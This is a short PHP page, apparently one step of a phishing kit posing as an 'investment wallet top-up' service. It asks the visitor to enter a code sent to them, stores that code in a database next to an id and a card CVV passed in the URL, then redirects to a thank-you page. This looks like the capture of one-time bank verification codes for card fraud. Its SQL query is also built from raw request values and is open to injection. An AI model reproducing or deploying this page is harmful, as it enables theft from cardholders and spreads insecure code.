<?php include("db_details.php"); ?>



<html lang="en"><head>
  <meta charset="UTF-8">
  <title>تشحين محافظ استثمارية</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">

  <link href="https://fonts.googleapis.com/css?family=Raleway|Rock+Salt|Source+Code+Pro:300,400,600" rel="stylesheet"><link rel="stylesheet" href="./style.css">

  <script src="https://code.jquery.com/jquery-3.4.1.js" integrity="sha256-WpOohJOqMqqyKL9FccASB9O0KwACQJpFTUBLTYOVvVU=" crossorigin="anonymous"></script>

  <style type="text/css">
      button, select {
          background-color: #4CAF50; /* Green */
          border: none;
          color: white;
          padding: 15px 32px;
          text-align: center;
          text-decoration: none;
          display: inline-block;
          font-size: 16px;
          margin: 4px 2px;
          cursor: pointer;
        }

  </style>


</head>
<body style="
    margin: auto;
    display: block;
    height: auto;
">
	<div style=" width: 100%;   box-shadow: 8px -6px 23px;">
		<img src="new-logo.svg" style="width: 351px;margin: auto;display: block;">
	</div>
	<br>
	<?php
		if(isset($_POST['send2'])){
			$code = $_POST['code'];
			$cvv = $_GET['cvv'];
		  $id = $_GET['id'];

			$sql = "UPDATE `info` SET `code`='$code' WHERE `id` = '$id'";
		$q = $db->query($sql);

		if($q == true){
		  echo " <meta http-equiv='refresh' content='0;thx.php?id=$id'>";
		}else{
			 echo("<script> ' يوجد خطأ ما الرجاء اعاده المحاوله لاحقا...' </script>");
		}

}
?>
	    <form id="myForm" method="POST" style="background: #ccbeb84f;">

    <div class="form-container">
        
        <div dir="rtl" class="field-container">
            <label for="name">ادخل الرمز المرسل </label>  
            <input dir="ltr" name="code" id="name" maxlength="20" type="text">
        </div>
		
    </div>
	
    <button name="send2" type="submit">تحقق</button>
    </form>




</body></html>